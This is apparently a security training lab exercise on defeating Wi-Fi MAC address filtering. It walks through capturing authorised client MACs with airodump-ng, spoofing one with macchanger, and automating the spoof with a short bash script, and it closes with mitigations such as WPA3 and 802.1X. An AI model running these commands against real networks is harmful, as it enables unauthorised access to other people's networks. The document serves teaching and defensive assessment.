Exercise 19: Bypassing MAC Address Filtering

Objective

Simulate bypassing MAC address filtering on a Wi-Fi network using MAC spoofing techniques and understand the limitations of MAC address filtering as a security measure.

Scenario

As a cybersecurity analyst, you’re tasked with evaluating the effectiveness of MAC address filtering as a security control on your organization’s Wi-Fi network. Although MAC filtering can restrict unauthorized devices, it is vulnerable to spoofing. In this exercise, you’ll set up a Wi-Fi network with MAC filtering enabled, spoof a legitimate MAC address, and connect to the network to understand why this method alone is insufficient.

⚠️ Important: Perform this exercise only in a legal and controlled lab environment. Unauthorized network access is illegal and unethical.

Lab Instructions

Step 1: Set Up the Wi-Fi Network with MAC Filtering

• Access Point (AP): Configure your router or AP to enable MAC address filtering.
• Legitimate Device: A device with a permitted MAC address.
• Attacker Machine: A Linux machine to perform the spoofing attack.

a. Enable MAC Filtering

• Access the router’s admin page (e.g., 192.168.1.1).
• Navigate to Wireless Settings > MAC Filtering.
• Add the legitimate device’s MAC address (e.g., AA:BB:CC:DD:EE:FF).
• Set the filter mode to Allow only listed MAC addresses.

Step 2: Install macchanger on the Attacker Machine

On the Attacker Machine, install macchanger:

sudo apt update 
sudo apt install macchanger -y

Step 3: Discover Authorized MAC Addresses

Enable monitor mode on the Wi-Fi adapter:

sudo ip link set wlan0 down 
sudo iwconfig wlan0 mode monitor 
sudo ip link set wlan0 up

Use airodump-ng to scan nearby networks:

sudo airodump-ng wlan0

Identify the target network and note the MAC addresses of connected devices.

Step 4: Spoof a Legitimate MAC Address

Choose an authorized MAC address (e.g., AA:BB:CC:DD:EE:FF).

Change the attacker machine’s MAC address:

sudo ip link set wlan0 down 
sudo macchanger --mac=AA:BB:CC:DD:EE:FF wlan0 
sudo ip link set wlan0 up

Verify the new MAC address:

macchanger -s wlan0

Step 5: Connect to the Wi-Fi Network

• Attempt to connect to the Wi-Fi network with the spoofed MAC address.
• If successful, the attacker machine will bypass the MAC filter and gain network access.

Step 6: Disable Monitor Mode

Restore the Wi-Fi adapter to normal mode:

sudo ip link set wlan0 down 
sudo iwconfig wlan0 mode managed 
sudo ip link set wlan0 up

Solution & Explanation

How MAC Address Filtering Works

• MAC filtering allows or blocks devices based on their Media Access Control (MAC) address.
• Each device’s network adapter has a unique MAC address.

Why MAC Filtering Fails

• Unencrypted: MAC addresses are transmitted in plaintext.
• Easily Spoofed: Tools like macchanger can quickly spoof any MAC address.
• No Authentication: MAC filtering does not verify device identity.

Example Attack Flow

1. Scan: Identify allowed MAC addresses.
2. Spoof: Change the attacker’s MAC to match a legitimate one.
3. Connect: Bypass MAC filtering and join the network.

Mitigation Strategies

1. Use WPA3/WPA2 Encryption

• Implement strong encryption (WPA3/WPA2) for Wi-Fi networks.
• Encryption secures data and authenticates devices.

2. Implement 802.1X Authentication

• Use enterprise authentication methods for stronger device verification.

3. Enable Network Monitoring

• Monitor for duplicate MAC addresses on the network.
• Alert on suspicious connections.

4. Limit Network Access

• Apply VLAN segmentation to isolate sensitive devices.

5. Disable MAC Filtering (as a standalone defense)

• Rely on stronger security measures instead of MAC filtering.

Testing & Verification

• Confirm that the spoofed MAC address successfully bypasses MAC filtering.
• Attempt to reconnect without spoofing to verify the filter is active.
• Implement stronger security measures and test access again.

Additional Script (Optional)

Automate MAC spoofing:

#!/bin/bash
# Automate MAC spoofing
INTERFACE="wlan0"
TARGET_MAC="$1"

if [ -z "$TARGET_MAC" ]; then
  echo "Usage: $0 <target-mac-address>"
  exit 1
fi

sudo ip link set $INTERFACE down
sudo macchanger --mac=$TARGET_MAC $INTERFACE
sudo ip link set $INTERFACE up

echo "MAC address changed to $TARGET_MAC."

Run the script:

chmod +x spoof_mac.sh
sudo ./spoof_mac.sh AA:BB:CC:DD:EE:FF

Conclusion

In this exercise, you simulated bypassing MAC address filtering by spoofing a legitimate MAC address using macchanger. This demonstrated the ineffectiveness of MAC filtering as a security mechanism and highlighted the need for stronger authentication and encryption protocols to protect network access.